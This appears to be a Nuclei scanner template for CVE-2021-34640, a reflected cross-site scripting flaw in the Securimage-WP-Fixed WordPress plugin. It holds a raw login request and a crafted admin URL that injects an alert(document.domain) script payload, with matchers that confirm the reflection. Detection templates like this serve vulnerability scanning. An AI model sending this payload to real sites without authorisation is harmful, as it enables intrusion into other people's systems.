id: CVE-2021-34640

info:
  name: Securimage-WP-Fixed <= 3.5.4 - Reflected Cross-Site Scripting (XSS)
  author: dhiyaneshDK
  severity: medium
  description: The Securimage-WP-Fixed WordPress plugin is vulnerable to Reflected Cross-Site Scripting due to the use of $_SERVER['PHP_SELF'] in the ~/securimage-wp.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 3.5.4.
  reference:
    - https://wpscan.com/vulnerability/22017067-8675-4884-b976-d7f5a71279d2
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34640
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-34640
    - https://plugins.trac.wordpress.org/browser/securimage-wp-fixed/trunk/securimage-wp.php#L628
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-34640
    cwe-id: CWE-79
  tags: wordpress,cve,cve2021,wp-plugin,authenticated

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET //wp-admin/options-general.php/"></script><script>alert(document.domain)</script>/script%3E?page=securimage-wp-options%2F HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "text/html"